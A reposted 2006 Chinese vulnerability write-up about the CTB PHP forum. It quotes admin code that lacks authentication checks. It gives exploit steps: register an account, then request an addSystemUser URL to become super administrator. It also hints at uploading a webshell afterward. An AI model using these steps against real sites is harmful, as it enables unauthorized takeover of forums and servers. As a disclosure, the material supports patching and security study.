漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
php目录管理函数小结
Sep 10 PHP
PHP导出MySQL数据到Excel文件(fputcsv)
Jul 03 PHP
php后台如何避免用户直接进入方法实例
Oct 15 PHP
php以post形式发送xml的方法
Nov 04 PHP
php采集内容中带有图片地址的远程图片并保存的方法
Jan 03 PHP
php计算数组相同值出现次数的代码(array_count_values)
Jan 20 PHP
php实现字符串反转输出的方法
Mar 14 PHP
js代码实现微博导航栏
Jul 30 PHP
PHP实现对xml进行简单的增删改查(CRUD)操作示例
May 19 PHP
PHP 中TP5 Request 请求对象的实例详解
Jul 31 PHP
基于Laravel-admin 后台的自定义页面用法详解
Sep 30 PHP
解决PhpStorm64不能启动的问题
Jun 20 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
PHP cron中的批处理
2008/09/16 PHP
浅析PHP原理之变量(Variables inside PHP)
2013/08/09 PHP
简单的php文件上传(实例)
2013/10/27 PHP
使用PHP把HTML生成PDF文件的几个开源项目介绍
2014/11/17 PHP
php实现可逆加密的方法
2015/08/11 PHP
PHP创建文件及写入数据(覆盖写入,追加写入)的方法详解
2019/02/15 PHP
ThinkPHP 5.x远程命令执行漏洞复现
2019/09/23 PHP
php面向对象重点知识分享
2019/09/27 PHP
Omi v1.0.2发布正式支持传递javascript表达式
2017/03/21 Javascript
使用JavaScriptCore实现OC和JS交互详解
2017/03/28 Javascript
详解vue表单验证组件 v-verify-plugin
2017/04/19 Javascript
js调用刷新界面的几种方式
2017/05/03 Javascript
Vue.js中extend选项和delimiters选项的比较
2017/07/17 Javascript
vue-cli 3.x 配置Axios(proxyTable)跨域代理方法
2018/09/19 Javascript
使用form-create动态生成vue自定义组件和嵌套表单组件
2019/01/18 Javascript
vue.js使用v-model实现表单元素(input) 双向数据绑定功能示例
2019/03/08 Javascript
微信小程序HTTP接口请求封装代码实例
2019/09/05 Javascript
Vue SSR 即时编译技术的实现
2020/05/06 Javascript
Vue中登录验证成功后保存token,并每次请求携带并验证token操作
2020/09/08 Javascript
JS使用setInterval计时器实现挑战10秒
2020/11/08 Javascript
跟老齐学Python之通过Python连接数据库
2014/10/28 Python
python实现的分析并统计nginx日志数据功能示例
2019/12/21 Python
简单了解如何封装自己的Python包
2020/07/08 Python
CSS3让登陆面板3D旋转起来
2016/05/03 HTML / CSS
在线购买廉价折扣书籍和小说:BookOutlet.com
2018/02/19 全球购物
一名毕业生的自我鉴定
2013/12/04 职场文书
《山谷中的谜底》教学反思
2014/04/26 职场文书
2014年设计师工作总结
2014/11/25 职场文书
2015年公务员转正工作总结
2015/04/24 职场文书
专项资金申请报告
2015/05/15 职场文书
2015年美容师个人工作总结
2015/10/14 职场文书
唱歌比赛拉拉队口号
2015/12/25 职场文书
幼儿园教师暑期培训心得体会
2016/01/09 职场文书
浙江省杭州市平均工资标准是多少?
2019/07/09 职场文书
python实现求纯色彩图像的边框
2021/04/08 Python
Mysql索引失效 数据库表中有索引还是查询很慢
2022/05/15 MySQL